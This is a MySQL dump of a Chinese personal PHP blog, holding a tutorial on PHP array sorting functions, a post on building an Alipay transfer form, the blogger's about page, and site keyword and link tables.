=&gt; &quot;Germany&quot;, &quot;ES&quot; =&gt; &quot;Spain&quot;);asort($data); print_r($data);</p><p>?&gt;</p><p>下面就是它的输出结果。请注意这个结果与上面使用ksort（）函数所得到的结果的不同——在这两种情况中，都是按字母顺序进行排序的，但是它们是根据数组的不同字段进行排序的。</p><p>同时，请注意关键字-值之间的联系会始终保持；它只是关键字-值对排序后的一种方式，排序并不会改变它们的对应关系。</p><p>Array ([DE] =&gt; Germany</p><p>[IN] =&gt; India</p><p>[ES] =&gt; Spain</p><p>[US] =&gt; United States</p><p>)</p><p>现在，你肯定能猜到这种排序也可以进行倒排，它使用arsort（）函数完成这个功能。Listing F就是一个例子：</p><p>Listing F</p><p>&lt;?php $data = array(&quot;US&quot; =&gt; &quot;United States&quot;, &quot;IN&quot; =&gt; &quot;India&quot;, &quot;DE&quot; =&gt; &quot;Germany&quot;, &quot;ES&quot; =&gt; &quot;Spain&quot;);arsort($data); print_r($data);</p><p>?&gt;</p><p>下面是它的输出结果，根据值按字母表顺序进行倒排。将下面的结果与用krsort（）函数进行倒排后生成的结果进行比较，就能很容易明白两者的不同了。</p><p>Array ([US] =&gt; United States</p><p>[ES] =&gt; Spain</p><p>[IN] =&gt; India</p><p>[DE] =&gt; Germany</p><p>)</p><p>自然语言排序</p><p>PHP有一个非常独特的排序方式，这种方式使用认知而不是使用计算规则。这种特性称为自然语言排序，当创建模糊逻辑应用软件的时候这种排序方式非常有用。下面大家可以来看看它的一个简单例子，如Listing G所示：</p><p>Listing G</p><p>&lt;?php $data = array(&quot;book-1&quot;, &quot;book-10&quot;, &quot;book-100&quot;, &quot;book-5&quot;); sort($data);print_r($data);</p><p>natsort($data); print_r($data);?&gt;</p><p>它的输出结果如下：</p><p>Array ([0] =&gt; book-1</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-100</p><p>[3] =&gt; book-5</p><p>)</p><p>Array</p><p>(</p><p>[0] =&gt; book-1</p><p>[3] =&gt; book-5</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-100</p><p>)</p><p>它们的不同已经很清楚了：第二个排序结果更直观，更“人性化”，然而第一个则更符合算法规则，更具“计算机”特点。</p><p>自然语言能进行倒排吗？答案是肯定的！只要对natsort（）的结果使用array_reverse()函数就可以了，Listing H就是一个简单例子：</p><p>Listing H</p><p>&lt;?php $data = array(&quot;book-1&quot;, &quot;book-10&quot;, &quot;book-100&quot;, &quot;book-5&quot;);natsort($data); print_r(array_reverse($data));</p><p>?&gt;</p><p>下面是它的输出结果：</p><p>Array ([0] =&gt; book-100</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-5</p><p>[3] =&gt; book-1</p><p>)</p><p>根据用户自定义的规则排序</p><p>PHP也能让你定义自己的排序算法，你可以通过创建你自己的比较函数，并把它传递给usort（）函数。如果第一个参数比第二个参数“小”的话，比较函数必须返回一个比0小的数，如果第一参数比第二个参数“大”的话，比较函数应该返回一个比0大的数。</p><p>Listing I就是这样的一个例子，在这个例子中根据它们的长度对数组元素进行排序，最短的项放在最前面：</p><p>Listing I</p><p>&lt;?php $data = array(&quot;joe@host.com&quot;, &quot;john.doe@gh.co.uk&quot;, &quot;asmithsonian@us.info&quot;, &quot;jay@zoo.tw&quot;);usort($data, &#39;sortByLen&#39;);</p><p>print_r($data); function sortByLen($a, $b) {</p><p>if (strlen($a) == strlen($b)) {</p><p>return 0;</p><p>} else {</p><p>return (strlen($a) &gt; strlen($b)) ? 1 : -1;</p><p>}</p><p>}</p><p>?&gt;</p><p>这样，就创建了我们自己的比较函数，这个函数使用strlen（）函数比较每一个字符串的个数，然后分别返回1，0或-1.这个返回值是决定元素排列的基础。下面是它的输出结果：</p><p>Array ([0] =&gt; jay@zoo.tw</p><p>[1] =&gt; joe@host.com</p><p>[2] =&gt; john.doe@gh.co.uk</p><p>[3] =&gt; asmithsonian@us.info</p><p>)</p><p>自然语言排序</p><p>PHP有一个非常独特的排序方式，这种方式使用认知而不是使用计算规则。这种特性称为自然语言排序，当创建模糊逻辑应用软件的时候这种排序方式非常有用。下面大家可以来看看它的一个简单例子，如Listing G所示：</p><p>Listing G</p><p>&lt;?php $data = array(&quot;book-1&quot;, &quot;book-10&quot;, &quot;book-100&quot;, &quot;book-5&quot;); sort($data);print_r($data);</p><p>natsort($data); print_r($data);?&gt;</p><p>它的输出结果如下：</p><p>Array ([0] =&gt; book-1</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-100</p><p>[3] =&gt; book-5</p><p>)</p><p>Array</p><p>(</p><p>[0] =&gt; book-1</p><p>[3] =&gt; book-5</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-100</p><p>)</p><p>它们的不同已经很清楚了：第二个排序结果更直观，更“人性化”，然而第一个则更符合算法规则，更具“计算机”特点。</p><p>自然语言能进行倒排吗？答案是肯定的！只要对natsort（）的结果使用array_reverse()函数就可以了，Listing H就是一个简单例子：</p><p>Listing H</p><p>&lt;?php $data = array(&quot;book-1&quot;, &quot;book-10&quot;, &quot;book-100&quot;, &quot;book-5&quot;);natsort($data); print_r(array_reverse($data));</p><p>?&gt;</p><p>下面是它的输出结果：</p><p>Array ([0] =&gt; book-100</p><p>[1] =&gt; book-10</p><p>[2] =&gt; book-5</p><p>[3] =&gt; book-1</p><p>)</p><p>根据用户自定义的规则排序</p><p>PHP也能让你定义自己的排序算法，你可以通过创建你自己的比较函数，并把它传递给usort（）函数。如果第一个参数比第二个参数“小”的话，比较函数必须返回一个比0小的数，如果第一参数比第二个参数“大”的话，比较函数应该返回一个比0大的数。</p><p>Listing I就是这样的一个例子，在这个例子中根据它们的长度对数组元素进行排序，最短的项放在最前面：</p><p>Listing I</p><p>&lt;?php $data = array(&quot;joe@host.com&quot;, &quot;john.doe@gh.co.uk&quot;, &quot;asmithsonian@us.info&quot;, &quot;jay@zoo.tw&quot;);usort($data, &#39;sortByLen&#39;);</p><p>print_r($data); function sortByLen($a, $b) {</p><p>if (strlen($a) == strlen($b)) {</p><p>return 0;</p><p>} else {</p><p>return (strlen($a) &gt; strlen($b)) ? 1 : -1;</p><p>}</p><p>}</p><p>?&gt;</p><p>这样，就创建了我们自己的比较函数，这个函数使用strlen（）函数比较每一个字符串的个数，然后分别返回1，0或-1.这个返回值是决定元素排列的基础。下面是它的输出结果：</p><p>Array ([0] =&gt; jay@zoo.tw</p><p>[1] =&gt; joe@host.com</p><p>[2] =&gt; john.doe@gh.co.uk</p><p>[3] =&gt; asmithsonian@us.info</p><p>)</p><p>多维排序</p><p>最后，PHP也允许在多维数组上执行一些比较复杂的排序——例如，首先对一个嵌套数组使用一个普通的关键字进行排序，然后再根据另一个关键字进行排序。这与使用SQL的ORDER BY语句对多个字段进行排序非常相似。为了能更好的明白它是如何工作的，请仔细看Listing J所举的例子：</p><p>Listing J</p><p>&lt;?php $data = array(array(&quot;id&quot; =&gt; 1, &quot;name&quot; =&gt; &quot;Boney M&quot;, &quot;rating&quot; =&gt; 3),</p><p>array(&quot;id&quot; =&gt; 2, &quot;name&quot; =&gt; &quot;Take That&quot;, &quot;rating&quot; =&gt; 1),</p><p>array(&quot;id&quot; =&gt; 3, &quot;name&quot; =&gt; &quot;The Killers&quot;, &quot;rating&quot; =&gt; 4),</p><p>array(&quot;id&quot; =&gt; 4, &quot;name&quot; =&gt; &quot;Lusain&quot;, &quot;rating&quot; =&gt; 3),</p><p>); foreach ($data as $key =&gt; $value) {</p><p>$name[$key] = $value[&#39;name&#39;];</p><p>$rating[$key] = $value[&#39;rating&#39;];</p><p>}</p><p>array_multisort($rating, $name, $data); print_r($data);?&gt;</p><p>这里，我们在$data数组中模拟了一个行和列数组。然后，我使用array_multisort()函数对数据集合进行重排，首先是根据rating进行排序，然后，如果rating相等的话，再根据name排序。它的输出结果如下：</p><p>Array ([0] =&gt; Array</p><p>(</p><p>[id] =&gt; 2</p><p>[name] =&gt; Take That</p><p>[rating] =&gt; 1</p><p>) [1] =&gt; Array</p><p>(</p><p>[id] =&gt; 1</p><p>[name] =&gt; Boney M</p><p>[rating] =&gt; 3</p><p>)</p><p>[2] =&gt; Array</p><p>(</p><p>[id] =&gt; 4</p><p>[name] =&gt; Lusain</p><p>[rating] =&gt; 3</p><p>)</p><p>[3] =&gt; Array</p><p>(</p><p>[id] =&gt; 3</p><p>[name] =&gt; The Killers</p><p>[rating] =&gt; 4</p><p>)</p><p>)</p><p>array_multisort()函数是PHP中最有用的函数之一，它有非常广泛的应用范围。另外，就如你在例子中所看到的，它能对多个不相关的数组进行排序，也可以使用其中的一个元素作为下次排序的基础，还可以对数据库结果集进行排序。</p><p>这些例子应该让你对PHP中各种数组排序函数的使用有了初步的了解，也向你展示了一些隐藏在PHP数组处理工具包的内部功能。</p><p>最后，祝你能愉快的使用这些功能！</p><p>一、数组操作的基本函数<br/>数组的键名和值<br/>array_values($arr);获得数组的值<br/>array_keys($arr);获得数组的键名<br/>array_flip($arr);数组中的值与键名互换（如果有重复前面的会被后面的覆盖）<br/>in_array(&quot;apple&quot;,$arr);在数组中检索apple<br/>array_search(&quot;apple&quot;,$arr);在数组中检索apple ，如果存在返回键名<br/>array_key_exists(&quot;apple&quot;,$arr);检索给定的键名是否存在数组中<br/>isset($arr[apple]):检索给定的键名是否存在数组中<br/>数组的内部指针<br/>current($arr);返回数组中的当前单元<br/>pos($arr);返回数组中的当前单元<br/>key($arr);返回数组中当前单元的键名<br/>prev($arr);将数组中的内部指针倒回一位<br/>next($arr);将数组中的内部指针向前移动一位<br/>end($arr);将数组中的内部指针指向最后一个单元<br/>reset($arr;将数组中的内部指针指向第一个单元<br/>each($arr);将返回数组当前元素的一个键名/值的构造数组，并使数组指针向前移动一位<br/>list($key,$value)=each($arr);获得数组当前元素的键名和值<br/>数组和变量之间的转换<br/>extract($arr);用于把数组中的元素转换成变量导入到当前文件中，键名当作变量名，值作为变量值<br/>注：（第二个参数很重要，可以看手册使用）使用方法&nbsp;echo $a;<br/>compact(var1,var2,var3);用给定的变量名创建一个数组<br/>二、数组的分段和填充<br/>数组的分段<br/>array_slice($arr,0,3);可以将数组中的一段取出，此函数忽略键名<br/>array_splice($arr,0,3，array(&quot;black&quot;,&quot;maroon&quot;));可以将数组中的一段取出，与上个函数不同在于返回的序列从原数组中删除<br/>分割多个数组<br/>array_chunk($arr,3,TRUE);可以将一个数组分割成多个，TRUE为保留原数组的键名<br/>数组的填充<br/>array_pad($arr,5,&#39;x&#39;);将一个数组填补到制定长度<br/>三、数组与栈<br/>array_push($arr,&quot;apple&quot;,&quot;pear&quot;);将一个或多个元素压入数组栈的末尾（入栈），返回入栈元素的个数<br/>array_pop($arr);将数组栈的最后一个元素弹出（出栈）<br/>四、数组与列队<br/>array_shift($arr);数组中的第一个元素移出并作为结果返回（数组长度减1，其他元素向前移动一位，数字键名改为从零技术，文字键名不变）<br/>array_unshift($arr,&quot;a&quot;,array(1,2));在数组的开头插入一个或多个元素<br/>五、回调函数<br/>array_walk($arr,&#39;function&#39;,&#39;words&#39;);使用用户函数对数组中的每个成员进行处理（第三个参数传递给回调函数function）<br/>array_mpa(&quot;function&quot;,$arr1,$arr2);可以处理多个数组（当使用两个或更多数组时，他们的长度应该相同）<br/>array_filter($arr,&quot;function&quot;);使用回调函数过滤数组中的每个元素，如果回调函数为TRUE，数组的当前元素会被包含在返回的结果数组中，数组的键名保留不变<br/>array_reduce($arr,&quot;function&quot;,&quot;*&quot;);转化为单值函数（*为数组的第一个值）<br/>六、数组的排序<br/>通过元素值对数组排序<br/>sort($arr);由小到大的顺序排序（第二个参数为按什么方式排序）忽略键名的数组排序<br/>rsort($arr);由大到小的顺序排序（第二个参数为按什么方式排序）忽略键名的数组排序<br/>usort($arr,&quot;function&quot;);使用用户自定义的比较函数对数组中的值进行排序（function中有两个参数，0表示相等，正数表示第一个大于第二个，负数表示第一个小于第二个）忽略键名的数组排序<br/>asort($arr);由小到大的顺序排序（第二个参数为按什么方式排序）保留键名的数组排序<br/>arsort($arr);由大到小的顺序排序（第二个参数为按什么方式排序）保留键名的数组排序<br/>uasort($arr,&quot;function&quot;);使用用户自定义的比较函数对数组中的值进行排序（function中有两个参数，0表示相等，正数表示第一个大于第二个，负数表示第一个小于第二个）保留键名的数组排序<br/>通过键名对数组排序<br/>ksort($arr);按照键名正序排序<br/>krsort($arr);按照键名逆序排序<br/>uksort($arr,&quot;function&quot;);使用用户自定义的比较函数对数组中的键名进行排序（function中有两个参数，0表示相等，正数表示第一个大于第二个，负数表示第一个小于第二个）<br/>自然排序法排序<br/>natsort($arr);自然排序（忽略键名）<br/>natcasesort($arr);自然排序（忽略大小写，忽略键名）<br/>七、数组的计算<br/>数组元素的求和<br/>array_sum($arr);对数组内部的所有元素做求和运算<br/>数组的合并<br/>array_merge($arr1,$arr2);合并两个或多个数组（相同的字符串键名，后面的覆盖前面的，相同的数字键名，后面的不会做覆盖操作，而是附加到后面）<br/>“+”$arr1+$arr2;对于相同的键名只保留后一个<br/>array_merge_recursive($arr1,$arr2); 递归合并操作，如果数组中有相同的字符串键名，这些值将被合并到一个数组中去。如果一个值本身是一个数组，将按照相应的键名把它合并为另一个数组。当数组 具有相同的数组键名时，后一个值将不会覆盖原来的值，而是附加到后面<br/>数组的差集<br/>array_diff($arr1,$arr2);返回差集结果数组<br/>array_diff_assoc($arr1,$arr2,$arr3);返回差集结果数组，键名也做比较<br/>数组的交集<br/>array_intersect($arr1,$arr2);返回交集结果数组<br/>array_intersect_assoc($arr1,$arr2);返回交集结果数组，键名也做比较<br/>八、其他的数组函数<br/>range(0,12);创建一个包含指定范围单元的数组<br/>array_unique($arr);移除数组中重复的值，新的数组中会保留原始的键名<br/>array_reverse($arr,TRUE);返回一个单元顺序与原数组相反的数组，如果第二个参数为TRUE保留原来的键名<br/>//srand((float)microtime()*10000000); 随机种子触发器<br/>array_rand($arr,2);从数组中随机取出一个或 多个元素<br/>shuffle($arr);将数组的顺序打乱</p><p>九、按一定的规则返回数组</p><p>implode(string glue, array pieces);</p>', '2339', '1', '0', '1', 'PHP函数,PHP数组排序');
INSERT INTO `lei_jingyan` VALUES ('33', '如何利用支付宝生成在线支付表单和链接？', '40714071 26462646 32913291 51355135 54075407 24222422 17061706 41904190 19411941 52585258 47634763 54075407 24222422 17771777 21052105 26452645 33203320 29512951 03310331', '', '0', '-10-,-13-', '../upload_image/2015/10/20/727e1f292a394bc02f690c04505e9509', '2015-11-03 14:40:11', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/20/1445322089101692.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\"/></p><p style=\"text-indent: 2em;\">大家都知道，支付宝有担保交易和即时交易的平台接口，但是在我为李雷博客增加主机购买专栏的时候需要用到在线支付接口，可是后来发现在支付宝的商家支付系统里现在要求必须是企业认证才能开通。显然我的博客是无法实现这个功能了，不过也不要紧，下面就通过表单的方式，实现这个功能。<br/></p><pre class=\"brush:html;toolbar:false\">&lt;form&nbsp;action=&quot;https://shenghuo.alipay.com/send/payment/fill.htm&quot;&nbsp;method=&quot;POST&quot;&nbsp;target=&quot;_blank&quot;&nbsp;accept-charset=&quot;GBK&quot;&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;name=&quot;optEmail&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;mafia-r@163.com&quot;&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;name=&quot;payAmount&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;100.00&quot;&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&quot;title&quot;&nbsp;name=&quot;title&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;赞助码代码（李雷博客）&quot;&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;name=&quot;memo&quot;&nbsp;type=&quot;hidden&quot;&nbsp;value=&quot;请填写您在本站的用户名或您的联系方式，以便李雷答谢。&quot;&nbsp;/&gt;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;name=&quot;pay&quot;&nbsp;type=&quot;image&quot;&nbsp;value=&quot;转账&quot;&nbsp;src=&quot;/images/alipay1.png&quot;&nbsp;/&gt;\r\n&lt;/form&gt;</pre><p style=\"text-indent: 2em;\">大家可以看到，只利用了表单的POST方法，就可以把“支付宝收款账号”、“付款金额”、“付款说明”、“备注”这四项相关信息提交到支付宝的在线转账页面，而且信息都已经填写好了！虽然不能利用支付宝接口完成付款与状态信息的自动更新，但至少也是一种实现方法，还是能解决一些问题的。</p><p style=\"text-indent: 2em;\">所以朋友们如果在我这里购买主机，利用这种方式进行订单付款的时候，如果发现和传统的在线支付有所不同也不要惊讶哦，因为草根的限制太多，这是没办法的办法！<br/></p>', '10481', '1', '1', '1', '支付宝表单,支付宝在线支付链接');

-- ----------------------------
-- Table structure for `lei_jingyan_hf`
-- ----------------------------
DROP TABLE IF EXISTS `lei_jingyan_hf`;
CREATE TABLE `lei_jingyan_hf` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cid` varchar(20) NOT NULL,
  `cid_hf` varchar(20) NOT NULL COMMENT '评论的二次回复',
  `cid_str` varchar(50) NOT NULL COMMENT '评论二次回复的昵称如 张三回复李四，李四写入这里，记录被回复人',
  `content` text NOT NULL,
  `username` varchar(50) NOT NULL,
  `nicheng` varchar(30) NOT NULL COMMENT '随机游客记录昵称',
  `xuan_img` varchar(180) NOT NULL COMMENT '随机游客的头像记录1-26',
  `indate` datetime NOT NULL,
  `pass` varchar(5) NOT NULL,
  `ip` varchar(20) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `cid` (`cid`),
  KEY `username` (`username`),
  KEY `cid_hf` (`cid_hf`),
  KEY `pass` (`pass`)
) ENGINE=MyISAM AUTO_INCREMENT=564 DEFAULT CHARSET=utf8 COMMENT='经验回复表';

-- ----------------------------
-- Records of lei_jingyan_hf
-- ----------------------------

-- ----------------------------
-- Table structure for `lei_keyword`
-- ----------------------------
DROP TABLE IF EXISTS `lei_keyword`;
CREATE TABLE `lei_keyword` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `keyword` varchar(20) NOT NULL,
  `pass` varchar(5) NOT NULL,
  `px` int(11) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pass` (`pass`)
) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_keyword
-- ----------------------------
INSERT INTO `lei_keyword` VALUES ('1', 'PHP', '1', '100');
INSERT INTO `lei_keyword` VALUES ('2', 'Mysql', '1', '200');
INSERT INTO `lei_keyword` VALUES ('3', 'JQuery', '1', '300');
INSERT INTO `lei_keyword` VALUES ('4', 'CSS', '1', '400');
INSERT INTO `lei_keyword` VALUES ('5', 'Appserv', '1', '500');
INSERT INTO `lei_keyword` VALUES ('6', 'PHP函数', '1', '600');
INSERT INTO `lei_keyword` VALUES ('7', 'PHP插件', '1', '700');
INSERT INTO `lei_keyword` VALUES ('8', 'HTML5', '1', '800');
INSERT INTO `lei_keyword` VALUES ('9', '界面UI', '1', '900');
INSERT INTO `lei_keyword` VALUES ('10', '编程思路', '1', '1000');
INSERT INTO `lei_keyword` VALUES ('11', 'AJAX', '1', '1100');
INSERT INTO `lei_keyword` VALUES ('12', 'JavaScript', '1', '1200');
INSERT INTO `lei_keyword` VALUES ('13', 'HTML', '1', '1300');
INSERT INTO `lei_keyword` VALUES ('14', '移动开发', '1', '1400');

-- ----------------------------
-- Table structure for `lei_link`
-- ----------------------------
DROP TABLE IF EXISTS `lei_link`;
CREATE TABLE `lei_link` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `linkname` varchar(20) DEFAULT NULL,
  `url` varchar(100) DEFAULT NULL,
  `px` int(11) DEFAULT NULL,
  `indate` datetime DEFAULT NULL,
  `pass` varchar(10) DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `pass` (`pass`,`px`)
) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_link
-- ----------------------------
INSERT INTO `lei_link` VALUES ('6', 'PHP博客', 'http://www.mdaima.com', '100', '2012-06-12 15:04:00', '通过');
INSERT INTO `lei_link` VALUES ('19', '李雷博客', 'http://www.mdaima.com', '50', '2015-10-21 10:58:15', '通过');
INSERT INTO `lei_link` VALUES ('20', '码代码', 'http://www.mdaima.com', '200', '2015-10-21 10:58:34', '通过');

-- ----------------------------
-- Table structure for `lei_message`
-- ----------------------------
DROP TABLE IF EXISTS `lei_message`;
CREATE TABLE `lei_message` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(50) NOT NULL,
  `pinglun` varchar(5) NOT NULL,
  `message` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_message
-- ----------------------------
INSERT INTO `lei_message` VALUES ('1', '关于博主', '1', '<p style=\"text-align: center; line-height: 3em; margin-bottom: 20px; text-indent: 0em;\"><span style=\"font-size: 24px;\"><strong>我是个简单并伴有强迫症的程序员-李雷</strong></span></p><p style=\"text-align: left; line-height: 3em; margin-bottom: 20px; text-indent: 2em;\"><img src=\"/upload_file/image/2015/09/16/1442365229461257.jpg\" title=\"博主李雷\" alt=\"博主李雷\" style=\"width: 220px; height: 172px; margin: 30px; float: left;\" width=\"220\" height=\"172\" border=\"0\" vspace=\"0\"/>记得那是2006年，高考之后来到大学报道，一切安排妥当，在宿舍休息时听到校园广播学生会招聘计算机岗位的通知，就去报名参加了。高中时期经常泡网吧，但我对网游一点兴趣都没有，唯独对经营博客情有独钟，只是偶尔会玩玩CS（反恐精英），因为我真的怕网游会上隐。记得当时有家博客平台叫敏思博客，不过后来停止运营了，我也痛苦了好一阵，但也正是这个博客作品帮助我顺利通过面试。<br/></p><p style=\"text-indent: 2em; text-align: left;\">进入学生会，主要负责学院网页的维护管理，那时候只对可视化界面管理有经验，因为博客很少码代码，但实际工作中需要对ASP代码进行编程，所以就跑到图书馆借书、机房教室练习，直到后来觉得应该有一台属于自己笔记本电脑，就借了2800大洋买了一个二手笔记本电脑（当时也不懂，估计是被骗了），不过今天想想这钱花得也算值，至少让我成功找到了自己的兴趣所在，也学到了一门能够让自己找到成就感的专业技术。</p><p style=\"text-indent: 2em; text-align: left;\">ASP一学就是3年，毕业参加工作慢慢的就从ASP转向PHP开发了，沿用ASP的编程思路，尝试开发PHP项目到现在也有6年了。我没有正规系统的学习过PHP，到现在为止，有些函数我也一样记不住，仅仅知道该什么时候用、应该怎么使用。对于PHP常用的框架如THINKPHP、Yii&nbsp;Framework这些我一样不会，什么面向对象开发，这些我也不会。我只是按照自己的思路开发的项目多了，总结并编写了很多过程处理函数，慢慢就形成自己的框架了，现在开发项目多数都是复制粘贴，总觉得自己写的代码要比理解别人的会容易很多吧（有点片面了，抱歉）。</p><p style=\"text-indent: 2em; text-align: left;\">对于新入门的PHPER，推荐一本叫《细说PHP》的书，这里面讲的真的是很详细，顺便说一下《十天学会PHP》这个用来入门作为感性认识学习过程也很不错，我就是看这些案例走过来的。学习没有多难，但要经得起磨练、耐得住寂寞。我经常会熬夜到很晚，觉得夜里的安静让我逻辑清晰、思如泉涌。建议学习的同学，不要只学PHP+Mysql，要试着学习前端与后端共同开发，我最早也是只学习了PHP+MYSQL的增、删、改、查，这是动态数据的基础，但我对前端的设计也同样感兴趣，也就一起学习了Html+Div+Css的布局和JQuery以及其它的一些界面框架的学习。建议对界面美工设计较好的站点可以截图保存，慢慢的你会发现在不经意间积累了大量精美高端的设计方案，多做一些仿站练习，这对前端的设计能力提升很快。平时多注重收集图片素材、JQ插件等，理解并综合运用才能做出一套完全属于自己的完美作品。这套博客也许会有人觉得我是用的WordPress主题，这里的确是有WordPress的影子，但仔细看看你会发现，这真真切切的是我一手敲出来的代码。</p><p style=\"text-indent: 2em; text-align: left;\">“没有强迫症的程序员不是好程序员”，就因为我有极度强迫症，这迫使我对前台设计与后台编程都有了深入了解。 经营这个码代码博客站也是为记录自己学习过程中的点点滴滴，把能够复用的代码写在这里。也许我分享的内容有不当之处也希望大家能够理解，毕竟我不是科班出身，完全凭着自己的感觉在学习。希望我的博文能够给你带来一点启发，同样也记录自己的进步和成长。</p><p style=\"text-indent: 2em; text-align: left;\">#带着强烈的求知欲和好奇心，会让你停不下前进的脚步，回头看，会发现你真的学会了很多！#</p>');
INSERT INTO `lei_message` VALUES ('2', '本站声明', '0', '<p style=\"text-indent: 2em; text-align: left;\"><span style=\"text-indent: 2em;\">码代码-李雷博客（www.mdaima.com）部分内容为博主李雷原创撰写博文</span>，经本站测试并整理的博文会标注为“本站整理”<span style=\"text-indent: 2em;\">，其余刊载的内容将会标注文章来源，包括文字、图片、音频、视频、软件、程序、以及网页版式设计等均为网上搜集。</span></p><p style=\"text-indent: 2em; text-align: left;\">访问者可将本网站提供的内容或服务用于个人学习、研究或欣赏，以及其他非商业性或非盈利性用途，但同时应遵守著作权法及其他相关法律的规定，不得侵犯本网站及相关权利人的合法权利。转载本站博文时请务必以超链接形式标明源文出处，否则谢绝一切转载！</p><p style=\"text-indent: 2em; text-align: left;\">当然，若发现本站有任何侵犯您利益的内容，请及时邮件或留言联系，我会第一时间删除所有相关内容。<br/></p><p style=\"text-indent: 2em; text-align: left;\"><strong>联系QQ：858353007（本站唯一服务QQ）</strong><br/></p><p style=\"text-indent: 2em; text-align: left;\"><br style=\"text-indent: 2em; text-align: left;\"/></p>');
INSERT INTO `lei_message` VALUES ('3', '帮助中心', '0', '<p>抱歉，暂时没有内容！</p>');
INSERT INTO `lei_message` VALUES ('4', '联系我们', '0', '<p>抱歉，暂时没有内容！</p>');
INSERT INTO `lei_message` VALUES ('5', '获取积分', '0', '<p><strong>积分获取方式：</strong></p><ul class=\" list-paddingleft-2\" style=\"list-style-type: disc;\"><li><p>注册送20积分</p></li><li><p>每日登录送5积分</p></li><li><p>回帖送2积分（每天最高送10积分）</p></li><li><p>网站分享送5积分（每天限2次）</p></li><li><p>拼图送3积分（每天限1次）</p></li><li><p>关注微信送20积分</p></li><li><p>积分赠送活动截止时间另行通知！</p></li></ul>');
INSERT INTO `lei_message` VALUES ('6', '广告优势', '0', '<p>抱歉，暂时没有内容！</p>');
INSERT INTO `lei_message` VALUES ('7', '付款方式', '0', '<p>抱歉，暂时没有内容！</p>');

-- ----------------------------
-- Table structure for `lei_message_hf`
-- ----------------------------
DROP TABLE IF EXISTS `lei_message_hf`;
CREATE TABLE `lei_message_hf` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cid` varchar(20) NOT NULL,
  `cid_hf` varchar(20) NOT NULL COMMENT '评论的二次回复',
  `cid_str` varchar(50) NOT NULL COMMENT '评论二次回复的昵称如 张三回复李四，李四写入这里，记录被回复人',
  `content` text NOT NULL,
  `username` varchar(50) NOT NULL,
  `nicheng` varchar(30) NOT NULL COMMENT '随机游客记录昵称',
  `xuan_img` varchar(180) NOT NULL COMMENT '随机游客的头像记录1-26',
  `indate` datetime NOT NULL,
  `pass` varchar(5) NOT NULL,
  `ip` varchar(20) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `cid` (`cid`),
  KEY `username` (`username`),
  KEY `cid_hf` (`cid_hf`),
  KEY `pass` (`pass`)
) ENGINE=MyISAM AUTO_INCREMENT=546 DEFAULT CHARSET=utf8 COMMENT='单文章回复表';

-- ----------------------------
-- Records of lei_message_hf
-- ----------------------------

-- ----------------------------
-- Table structure for `lei_news`
-- ----------------------------
DROP TABLE IF EXISTS `lei_news`;
CREATE TABLE `lei_news` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `title` varchar(100) NOT NULL,
  `title_code` varchar(500) NOT NULL,
  `zhiding` varchar(5) DEFAULT NULL,
  `simgpaths` varchar(100) NOT NULL,
  `indate` datetime NOT NULL,
  `laiyuan` varchar(30) NOT NULL,
  `message` text NOT NULL,
  `hits` int(11) NOT NULL,
  `pass` varchar(5) NOT NULL,
  `huifuzt` varchar(5) NOT NULL,
  `pinglun` varchar(5) NOT NULL,
  `guanjianci` varchar(50) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pass` (`pass`),
  KEY `indate` (`zhiding`,`indate`) USING BTREE,
  FULLTEXT KEY `title_code` (`title_code`)
) ENGINE=MyISAM AUTO_INCREMENT=94 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of lei_news
-- ----------------------------
INSERT INTO `lei_news` VALUES ('7', 'PHP就业前景好不好?浅谈PHP发展前景及就业', 'PAAAAA HAAAAA PAAAAA 30453045 50215021 39163916 30163016 26352635 18271827 26352635 -97-160-97-160 39193919 44244424 PAAAAA HAAAAA PAAAAA 23022302 53255325 39163916 30163016 28162816 30453045 50215021', '0', '../upload_image/2015/09/21/150921161420470690', '2015-09-21 14:15:42', '互联网转载', '<p style=\"text-indent: 2em; text-align: left;\">随着Web2.0的升温互联网迎来新一轮的热潮，由于互联网本身的快速发展，不断创新的特点，决定了只有以最快的发展速度和最低成本，才能取胜，才能始终保持一个网站的领先性和吸引更多的网民。互联网的企业生存和竞争的核心在于技术，技术/研发人才永远才是这些企业不可或缺的网络应用。</p><p style=\"text-indent: 2em; text-align: 